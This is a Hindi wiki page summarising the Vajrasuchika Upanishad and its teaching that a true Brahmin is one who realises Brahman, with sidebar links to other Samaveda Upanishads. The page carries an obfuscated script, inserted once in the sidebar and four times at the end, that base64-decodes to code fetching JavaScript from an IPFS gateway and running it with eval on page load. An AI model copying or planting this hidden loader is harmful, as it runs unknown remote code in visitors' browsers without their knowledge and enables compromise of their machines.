वज्रसूचिकोपनिषद

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
Maintenance (चर्चा | योगदान) द्वारा परिवर्तित १२:५७, २९ जुलाई २०१० का अवतरण (Text replace - '==उपनिषद के अन्य लिंक== {{उपनिषद}}' to '==सम्बंधित लिंक== {{संस्कृत साहित्य}}')
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • सामवेदीय उपनिषद
    • आरूणकोपनिषद|आरूणकोपनिषद
    • केनोपनिषद|केनोपनिषद
    • कुण्डिकोपनिषद|कुण्डिकोपनिषद
    • छान्दोग्य उपनिषद|छान्दोग्य उपनिषद
    • जाबाल्युपनिषद|जाबाल्युपनिषद
    • जाबालदर्शनोपनिषद|जाबालदर्शनोपनिषद
    • महोपनिषद|महोपनिषद
    • मैत्रेय्युग्पनिषद|मैत्रेय्युग्पनिषद
    • योगचूडाण्युपनिषद|योगचूडाण्युपनिषद
    • रूद्राक्षजाबालोपनिषद|रूद्राक्षजाबालोपनिषद
    • वज्रसूचिकोपनिषद|वज्रसूचिकोपनिषद
    • संन्यासोपनिषद|संन्यासोपनिषद
    • सावित्र्युपनिषद|सावित्र्युपनिषद

</sidebar>

वज्रसूचिकोपनिषद

  • सामवेद से सम्बन्धित इस उपनिषद में कुल नौ मन्त्र हैं। इनमें सबसे पहले ब्राह्मणों की श्रेष्ठता और प्रधानता का उल्लेख किया गया है। फिर शरीर, जाति, ज्ञान व कर्म के बारे में प्रश्न है। उपनिषदकार का कहना है कि जो समस्त दोषों से रहित हो, अद्वितीय विद्वान हो, आत्मतत्त्व का ज्ञाता हो, वही ब्राह्मण है। ब्रह्म-भाव से सम्पन्न व्यक्ति ही सच्चा ब्राह्मण है। 'ब्राह्मण,' 'क्षत्रिय,' 'वैश्य' और 'शूद्र', इन चार वर्णों में ब्राह्मण ही श्रेष्ठ है।

क्या शरीर ब्राह्मण है?

  • 'शरीर' ब्राह्मण नहीं है। 'जाति' भी ब्राह्मण नहीं हो सकती। 'ज्ञान' भी ब्राह्मण नहीं है। 'धार्मिक व्यक्ति' भी ब्राह्मण नहीं है। तब ब्राह्मण कौन है?
  • उपनिषदकार कहता है कि जो 'आत्मा' के द्वैत-भाव (आत्मा और परमात्मा को अलग-अलग मानना) से युक्त न हो, जाति गुण, क्रिया से भी युक्त न हो, सभी दोषों से मुक्त हो, सत्य, ज्ञान, आनन्द-स्वरूप, निर्विकल्प, अशेष कल्पों का आधार, समस्त प्राणियों में निवास करने वाला, प्रत्यक्ष-अप्रत्यक्ष आत्मा को जानने वाला, काम तथा रागादि दोषों से तटस्थ व कृपालु हो, शम-दम से सम्पन्न हो, तृष्णा, आशा, मोह से दूर हो, अहंकार तथा दम्भ से दूर हो, ऐसा व्यक्ति ही ब्राह्मण है। अत: ब्रह्म-भाव सम्पन्न व्यक्ति को ही ब्राह्मण मानना चाहिए।


सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>